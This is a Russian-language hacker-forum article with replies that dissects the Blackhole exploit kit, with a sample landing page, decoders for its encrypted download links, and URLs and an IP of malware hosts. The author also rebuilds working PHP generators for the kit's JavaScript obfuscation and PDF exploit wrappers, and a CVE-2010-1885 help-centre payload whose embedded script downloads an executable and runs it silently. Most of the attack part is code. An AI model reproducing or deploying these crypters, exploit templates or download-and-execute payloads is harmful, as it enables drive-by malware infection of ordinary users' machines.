Статья Blackhole exploit kit

GOONER

(L3) cache
Пользователь
Регистрация
25.10.2009
Сообщения
182
Реакции
1
35993015.png
Доброго времени суток, пользователи и гости дамаги!
Сегодня я, вместе с вами, хочу разобрать exploit pack, который является одним из лидеров на рынке, а именно BlackHole exploit kit.
Исследования будут проводиться под User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Итак вооружившись всем необходимым софтом и пивом :) -лезем на трекер за сэмплом.
Код:
http://gghjfyagmcp.com/main.php?page=13682f26313730a7
Жмякаем в malzilla на Get и получаем выдачу связки (index.dump)

Код:
<html><body><applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'>
<param val=123 value='e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83' sdva=123 asd='qwrqw' name="p" a='2'/></applet><script>
function setCharAt(str,q,index) {
	return String.fromCharCode(1*str[index] + 27);
}
md="a";
  	with(document)
  	a=createTextNode("e"+"v29");
dqwvwq=function(){
	return "73&84&72&90&82&74&83&/*Порезано*/".split("&");
}
  	a.replaceData(2,2,"a"+'l');
  	e=eval(a["data"]);
  	c=new String();
  	i=0;
  	s=dqwvwq.call();
  	while(i!=s.length){
    c+=setCharAt(s,123,i);
    i++;
  	}
  	try{document.gewgewg.gewgqwer21}catch(q){
  	e©;
  	}
  </script></body></html>
Сразу бросается в глаза выдача javaobe сплоита - field.jar CVE-2010-0840
Код:
<applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'>
<param val=123 value='e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83' sdva=123 asd='qwrqw' name="p" a='2'/></applet>
Cнимаем его, как видим архиву передается параметр, значение которого e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83 - это и есть шифрованный линк.
Набросаем кодес для декода линка.
На JavaScript (obe_dec.js)
Код:
 var srctable =  "aDLXq-_.mjnWN6fwcsKB?xbITS=CykGvd91Z:%ElR5po0rzA8/JYP72#ue&t4iQFhVU3OMgH";
 var desttable = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
 var strochka="e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83";
 var ret='';
 var ij;
 var index;
 for(ij=0;ij<strochka.length;ij++)
 {
   index=desttable.indexOf(strochka.charAt(ij));
   if(index>-1)
   {
     ret+=srctable.charAt(index);
   }
 }
 document.write(ret);
Или на PHP(obe_dec.php):
Код:
<?php
 function decode($string,$key,$srctable) {
    $out='';
    for($i=0;$i<strlen($string);$i++) {
        $o=$string[$i];
        $m=strpos($srctable,$o);
        if($m>-1){
            $out .= $key[$m];
        } else {
            $out.=$o;    
        }
    }    
return $out;
}

$key =  "aDLXq-_.mjnWN6fwcsKB?xbITS=CykGvd91Z:%ElR5po0rzA8/JYP72#ue&t4iQFhVU3OMgH";
$srctable = "QOn7cZAVmK/G4WuBqfLxj1_tlE8PTrpN2Y3:MUa=&5oRi%y?9DHv-Cgwkh60b.FdeSI#zJXs";
$string="e00oMDDXXeKuTQXmqoVqRmM9iDBVoeoju8gW6h83";

echo decode($string,$key,$srctable);
?>
Получим линк на скачку ехе
Код:
 http://gghjfyagmcp.com:80/w.php?f=26&e=1
Далее разберем всё остальное, для чего нам нужны будут Chrome dev tools или malzilla
Кодес для Chrome (chrome_dec.htm):

Код:
<html><body>
	<script>
function setCharAt(str,q,index) {
	return String.fromCharCode(1*str[index] + 27);
}
md="a";
  	with(document)
  	a=createTextNode("e"+"v29");
dqwvwq=function(){
	return "73&84&72&90&82&74&83&/*Порезано*/".split("&");
}
  	a.replaceData(2,2,"a"+'l');
  	e=eval(a["data"]);
  	c=new String();
  	i=0;
  	s=dqwvwq.call();
  	while(i!=s.length){
    c+=setCharAt(s,123,i);
    i++;
  	}
  	try{document.gewgewg.gewgqwer21}catch(q){
  console.log( c );
  	}
  </script></body></html>
Для malzilla (malzilla_dec.js):

Код:
var s= "73&84&72&90&82&74&83&89&/*Порезано*/".split("&");
 function setCharAt(str,q,index)
 {
   return String.fromCharCode(1*str[index] + 27);
 }
 i=0;
 c='';
 while(i!=s.length)
 {
   c+=setCharAt(s,123,i);
   i++;
 }
 document.write©
И вуаля-мы сняли крипт (decoded.dump)
Реализация крипта на PHP (crypt.php):
Код:
<?php
function cryptstr($input, $separator) {
    $output = '';
    $len = strlen($input);
    for ($i = 0; $i <= $len-1; $i++) {
        $rnd = 27; //mt_rand(100000,999999);
        $out = ord($input[$i])-$rnd;
        $output.=$out.$separator;
 }   
    $output = substr($output, 0, strlen($output)-1);
    return $output;    
}

$script = 'alert(\'damagelab\')';

$tpl = '<html><body><script>
function setCharAt(str,q,index) {
    return String.fromCharCode(1*str[index] + 27);
}
md="a";
            with(document)
            a=createTextNode("e"+"v29");
dqwvwq=function(){
    return "'. cryptstr($script , '&') .'".split("&");}
            a.replaceData(2,2,"a"+\'l\');
            e=eval(a["data"]);
            c=new String();
            i=0;
            s=dqwvwq.call();
            while(i!=s.length){
                c+=setCharAt(s,123,i);
                i++;
            }
            try{document.gewgewg.gewgqwer21}catch(q){
            e( c );
            }
        </script></body></html>';
        
echo $tpl; 
?>
Преобразуем в норм вид, убрав PluginDetect и получим (decoded2.dump)
spl0 javatrust CVE-2010-4452
Как видим-опять шифрованный линк
vMMCWJJ77vxcyP7Z2C%2gZWuEJA%CvCjc=9h:L=E
Линк к самому классу
Код:
http://::@1572572686/Main
где 1572572686 IP в десятичной форме, в нашем случае скачать сам класс можно отсюда:
Код:
http://93.187.142.14/Main.class
Открываем Main.class в JD-GUI

Как видим:
Код:
searchService = new StringBuffer("/UyuMaYRsL:WSKPv32tmcqdVEHi").append("k4bBr91=hGwOAF?#%-60Df5ZIzNxCT").append("&pnQgo7XeJj.8_l").substring(0);
str = "E39fpzhSu-P_24Lc7v.xYXZDgCUBOMt#A5y".concat("/wImFVa0QHqN1li6&nGsRKokTr?J%Wb8j:=ed");
Для декода используем те же скрипты, что и для javaobe (trust_dec.js или trust_dec.php)
Результат-линк на скачку ехе:
Код:
http://gghjfyagmcp.com:80/w.php?f=26&e=1
spl2 -javasmb CVE-2010-0746 к сожалению его не удалось снять
spl3-javaskyline CVE-2010-3552
Путь к ехе легко получить с помощью Chrome или malzilla (skyline_dec.htm или skyline_dec.js)

spl4()-mdac CVE-2006-0003
spl5()-pdfall (Collab.collectEmailInfo(Bugtraq ID:27641), util.printf(Bugtraq ID:30035), getIcon(Bugtraq ID:34169), newPlayer(Bugtraq ID:37331))
Разобрать его не составит труда (pdfall_dec.js):

Код:
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
s="";
z='0%$1%$2%$3%$2%$4%$5%$/*Порезано*/5'.split("%$");
for(j=0;j<z['length'];j++)
{
s=s+a[z[j]];
}
document.write(s);
Попробуем воссоздать генерацию pdfall(pdfall.php):
Код:
<?php
function encrypt($string,$key,$separator) {
    $out='';
    for($i=0;$i<strlen($string);$i++) {
        $o=$string[$i];
        $m=strpos($key,$o);    
        if($m>-1){
            $out .= $m.$separator;
        } else {
            $out.=$o.$separator;
    
        }
    }
    
return $out;
}

$script = "app.alert('damagelab');";
$key = "if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@";
$encoded = encrypt($script, $key, '%$'); 
 
$tpl = "%PDF-1.6
%вгПУ
7 0 obj
<</Count 1/Type/Pages/Kids[28 0 R]>>
endobj
21 0 obj
<</Names 23 0 R/Outlines 1 0 R/Metadata 9 0 R/AcroForm 22 0 R/Pages 7 0 R/OCProperties<</D<</RBGroups[]>>>>/StructTreeRoot 11 0 R/Type/Catalog>>
endobj
23 0 obj
<</JavaScript 24 0 R/AP 8 0 R>>
endobj
24 0 obj
<</Names[123 0 R 76 0 R]>>
endobj
25 0 obj
<</S/JavaScript/JS 26 0 R>>
endobj
26 0 obj
<</Length 1108/Filter[/FlateDecode]>>stream
endstream
endobj
28 0 obj
<</Parent 7 0 R/StructParents 0/Contents 60 0 R/Rotate 90/MediaBox[0 0 612 792]/Resources<</XObject
<</Im0 69 0 R>>/ColorSpace<</CS0 59 0 R>>/Font<</TT0 61 0 R>>/Properties/ExtGState>>/Type/Page>>
endobj
60 0 obj
<</Length 539/Filter/FlateDecode/Type/Contents>>stream
endstream
endobj
76 0 obj
<</S/JavaScript/JS(j='vt34t';
b=\"l\";
b2=\"a\"
+b;
a=new String\(\"if\(e'1\)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@\"\);
try
{
this.info\(\);
}catch\(q\){
c='b';
e=j[
's'
+
'u'+
c
+'str']\(\);
try{
b='v'+b2;
b='e'+b;
if\(!google.search\(\)\)
a=2;
}
catch\(q\){
e=
e[
b];
}
{
s=\"\";
z='". $encoded ."'.split\(\"%$\"\);
for\(j=0;j<z['length'];j++\)
try{
if\(!google.search\(\)\)throw 1;}catch\(q\){
s
=s+
a[
z[
j]];
}
}}

try{if\(!google.search\(\)\)new ewt;}
catch\(q\){
e\(s\);
})>>
endobj
xref
0 155
trailer
<</Size 155
/Root 21 0 R>>
xref
0 0
trailer
<</Size 155/Prev 75626/XRefStm 416/Root 21 0 R>>
startxref
78995
%%EOF";

file_put_contents('pdfall.pdf', $tpl);

?>
spl5-тут же и libtiff CVE-2010-0188
Попробуем воссоздать генерацию (libtiff.php):
Код:
<?php
function encrypt($string,$key, $separator) {
    $out='';
    for($i=0;$i<strlen($string);$i++) {
        $o=$string[$i];
        $m=strpos($key,$o);    
        if($m>-1){
            $out .= $m.$separator;
        } else {
            $out.=$o.$separator;    
        }
    }    
return $out;
}

$script = "app.alert('damagelab');";
$key = "var _l1='4c206f5783eb9d;pnwAy()utio{.VsSg',h&lt;+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM";

$tpl = "%PDF-1.6
%вгПУ
1 0 obj
<</MediaBox [0 0 1 1] /Type/Page /Contents 3 0 R /Parent 5 0 R>>
endobj
5 0 obj
<</Count 2 /Kids [1 0 R] /Type/Pages>>
endobj
8 0 obj
<</Type/EmbeddedFile /Length 5125>>
stream

<xdp:xdp



 xmlns:xdp=\"http://ns.adobe.com/xdp/\">


<config><present>
<pdf>
<interactive>1</interactive>
<version>1.6
</version>
</pdf><xdp><packets>*</packets></xdp>
<destination>pdf</destination>
</present></config>
<template xmlns=\"http://www.xfa.org/schema/xfa-template/2.5/\">
<subform 
name=\"ergfb435tb43t\">        <subform name=\"v3v5325v\">
        <field name=\"qwe123\"><event activity='initialize'>
<script
contentType='application/x-javascript'>

s=new String();
try{
b=[". encrypt($script,$key,',') ."];
this.info();
}catch(qq){
a=\"var _l1='4c206f5783eb9d;pnwAy()utio{.VsSg',h&lt;+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM\";
i=0;
while(i!=3649){
z=b[i
];
s+=a[z];
i=1+i;
}
a=this;
e=a.eval;k=s;e
(k);}
</script></event><ui asd='12312'>
<imageEdit test=\"qwe\"/>
</ui>
</field>
</subform>
</subform><Gsdg/></template><sagwehwe/>
<xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">

<xfa:data><ergfb435tb43t>
</ergfb435tb43t>
</xfa:data>
</xfa:datasets>
</xdp:xdp>
endstream
endobj
18 0 obj
<</Rect [12.5 5.1 18.3 7.7] /Subtype/Widget /Ff 65536 /T (qwe123[0]) /MK 
<</TP 1>> /Type/Annot /FT/Btn /DA (/CourierStd 10 Tf 0 g) /Parent 19 0 R /TU (qwe123) /P 1 0 R /F 4>>
endobj
19 0 obj
<</T (v3v5325v[0]) /Kids [18 0 R] /Parent 20 0 R>>
endobj
20 0 obj
<</T (ergfb435tb43t[0]) /Kids [19 0 R]>>
endobj
23 0 obj
<</AcroForm 21 0 R /Pages 5 0 R /Type/Catalog>>
endobj
21 0 obj
<</DA (/Helv 0 Tf 0 g ) /Fields [20 0 R] /XFA 8 0 R>>
endobj
xref
0 24 
trailer
<</Size 22 /Root 23 0 R>>
startxref
17175
%%EOF";

file_put_contents('libtiff.pdf', $tpl);

?>
spl6() hcp CVE-2010-1885 (hcp.dump)

Упрощенная вариация на php (hcp.php):
Код:
<?php
function cryptstr($input, $separator) {
    $output = '';
    $len = strlen($input);
    for ($i = 0; $i <= $len-1; $i++) {
        $rnd = 27; //mt_rand(100000,999999);
        $out = ord($input[$i])-$rnd;
        $output.=$out.$separator;
 }   
    $output = substr($output, 0, strlen($output)-1);
    return $output;    
}

$link = "http://localhost/load.php";

$src = "var iframe='<iframe src=\"h'+'cp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<script defer>Run(\'cmd /c echo FileName ! 
@№TEMP№}file.exe@>>№TEMP№}go.gPs]]echo url!@". $link ."@ >>№TEMP№}go.gPs]]echo Set objHTTP ! CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№}go.gPs]]echo Call 
objHTTP.Open(@GET@, url, False)>>№TEMP№}go.gPs]]echo objJOPA>>№TEMP№}go.gPs]]echo set oStream ! createobject(@Adodb.Stream@)>>№TEMP№}go.gPs]]echo Const adTypeBinary !
 1 >>№TEMP№}go.gPs]]echo Const adSaveCreateOverWrite ! 2 >>№TEMP№}go.gPs]]echo Const adSaveCreateNotExist ! 1  >>№TEMP№}go.gPs]]echo oStream.type ! adTypeBinary 
>>№TEMP№}go.gPs]]echo oStream.open >>№TEMP№}go.gPs]]echo oStream.write objHTTP.responseBody>>№TEMP№}go.gPs]]echo oStream.savetofile FileName, 
adSaveCreateNotExist >>№TEMP№}go.gPs]]echo oStream.close>>№TEMP№}go.gPs]]echo set oStream ! nothing >>№TEMP№}go.gPs]]echo Set xml ! Nothing >>№TEMP№}go.gPs]]echo Set
 WshShell ! CreateObject(@WScript.Shell@) >>№TEMP№}go.gPs]]echo WshShell.Run FileName, 0, True >>№TEMP№}go.gPs]]echo Set FSO ! CreateObject(@Scripting.FileSystemObject@) 
>>№TEMP№}go.gPs]]echo FSO.DeleteFile @№TEMP№}go.vbs@ >>№TEMP№}go.gPs|cscript №TEMP№}go.gPs>nul\'.replace(/!/g, String.fromCharCode(61)).replace(/@/g, 
String.fromCharCode(34)).replace(/]/g, String.fromCharCode(38)).replace(/{/g, String.fromCharCode(63)).replace(/JOPA/g, 
String.fromCharCode(72,84,84,80,46,83,101,110,100)).replace(/gPs/g, String.fromCharCode(118,98,115)).replace(/}/g, String.fromCharCode(92)).replace(/№/g,
 String.fromCharCode(37)));</script>\">';";

$tpl = '<html><body><script>
function setCharAt(str,q,index) {
    return String.fromCharCode(1*str[index] + 27);
}
md="a";
            with(document)
            a=createTextNode("e"+"v29");
dqwvwq=function(){
    return "'. cryptstr($src , '&') .'".split("&");}
            a.replaceData(2,2,"a"+\'l\');
            e=eval(a["data"]);
            c=new String();
            i=0;
            s=dqwvwq.call();
            while(i!=s.length){
                c+=setCharAt(s,123,i);
                i++;
            }
            try{document.gewgewg.gewgqwer21}catch(q){
            e©;
            }
        </script></body></html>';
?>
[mod][Ar3s:] Порезал длинную строку. Рвало шаблон.[/mod]

spl7 - flash (CVE-2011-2110)
Код:
if (((ver1==10&&ver2==0&&ver3>40)||((ver1==10&&ver2>0)&&(ver1==10&&ver2<2)))||((ver1==10&&ver2==2&&ver3<159)||(ver1==10&&ver2<2)))
Снимаем field.swf и score.swf
Ф-я getShellCode() отдает шк(который поксорен), переходим на вкладку Misc Decoders, вставляем шк=>UCS2 To Hex, копируем, переходим на вкладку Hex view=>ПКМ Paste as hex и брутим на наличие строки http, потом жмякаем Apply XOR

Сорцы флешек можно посмотреть с помощью Flash Decompiler (scoreswf.dump и fieldswf.dump )

===================================================================
Всех благодарю за внимание!
Файлы к обзору: :zns5: ТУТ
pass:DaMaGeLaB
 
хочу заметить, что возможно не совсем ситуация обстоит как написано выше(сам не смотрел)
к примеру генерацию пдфок вы делаете, основываясь на одном семпле.
а пробовали нопремер скачать 2 раза пдфки и сравнить их?
 
boom_boom я так и предполагал :)

Ragnar генерация пдф упрощенная, а по факту-действительно хеш-суммы пдф'ок отличаються, но там просто присутствует перекриптовка с другим ключом, что можно просто воссоздать..
 
GOONER
возник вопрос, libtiff, я не увидел шеллкод...
да и насколько я помню по метасплоиту - там уязвимость проявляется при обработке изображения, а не во время выполнении скрипта...
поправь если я ошибаюсь
 
ammok
libtiff, pdfall- просто упрощенная вариация крипта pdf сплоитов на php, самих сплоентов там нет(кому нужно тот прикрутит), там только:
Код:
app.alert('damagelab');
 
чтобы научиться разрабатывать и развертывать черная дыра только для образовательных целей

вы не про коллайдер?:)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх